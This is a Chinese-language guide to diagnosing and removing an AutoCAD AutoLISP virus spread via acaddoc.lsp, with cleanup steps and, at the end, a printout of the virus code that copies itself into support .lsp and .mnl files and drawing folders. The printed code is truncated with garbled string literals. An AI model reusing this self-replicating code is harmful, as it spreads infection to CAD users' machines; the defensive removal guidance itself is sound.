AutoCAD 菜单实用程序已加载。; 错误: 输入的列表有缺陷
AutoCAD 菜单实用程序已加载。; 错误: 输入的列表有缺陷 =============================================== acaddoc.lsp
CAD出现这种现象基本有以下几种情况：
1。一般是由CAD的安装目录下或CAD的SUPPORT目录下有acad.lsp这个文件引起的。这个文件可能是单位里 有自己开发的程序，使自己单位人员编写的。 2。CAD病毒程序。判断是不是CAD被病毒破坏
3。查找电脑的其它目录中（主要是windows的系统目录）是否还有这些文件：hysoft*.dll,KtCnPub*.dll
及RyClient.dll sx32w.dll，如果有，删除后试一下（除了软件目录下的）。
（搜索文件时，注意选择“搜索隐藏的文件”）
================================================ 以下是相关操作步骤：
1、若发现文件夹中多出ACADDOC.LSP文件即说明你的CAD中毒了。
2、关闭CAD程序。
3、全盘搜索 *.fas *.lsp *.mnl *.arx文件，除了CAD安装目录以外的该类文件均全部删除。
4、检查CAD安装目录文件的修改时间，把ACADDOC.LSP病毒感染
X:/Program Files/AutoCAD20**/Support文件夹下的 3d.lsp； 3darray.lsp； acad2010.lsp； acad2010doc.lsp； acadinfo.lsp； ai_utils.lsp； attredef.lsp； edge.lsp； mvsetup.lsp； sample-profile-util.lsp 文件以及
C:/Documents and Settings/用户名/Application Data/Autodesk/AutoCAD 20**/R16.2/chs/Support下 的*.MNL文件中的病毒代码删除。（用记事本打开）
5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。
说明： 要删除的病毒代码在文件的尾部，具体如下： (setq flagx t)
(setq bz \
(defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn
(setq wjm1 (open target \(while (setq text (read-line wjm1)) (if (= text bz) (setq flag1 nil)) );while
(close wjm1) );progn );if (if flag1 (progn
(setq wjm (open source \(setq wjm1 (open target \(write-line (chr 13) wjm1) (while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag
(progn
(write-line text wjm1) );progn ); if );while (close wjm1) (close wjm) );progn ); if );defun
(setvar \
(setq acadmnl (findfile \
(setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath \(setq mnlnum (length mnlfilelist)) (setq acadexe (findfile \
(setq acadpath (vl-filename-directory acadexe)) (setq support (strcat acadpath \(setq lspfilelist (vl-directory-files support \(setq lspfilelist (append lspfilelist (list \(setq lspnum (length lspfilelist)) (setq dwgname (getvar \(setq dwgpath (findfile dwgname)) (if dwgpath (progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath \0)
(while (< mnln mnlnum) (
setq mnlfilename (strcat acadmnlpath \(app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln)) );while (setq lspn 0)
(while (< lspn lspnum) (
setq lspfilename (strcat support \(app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn)) );while );progn );if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath \(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath \(app mnlfilename mnlfilename1 bz)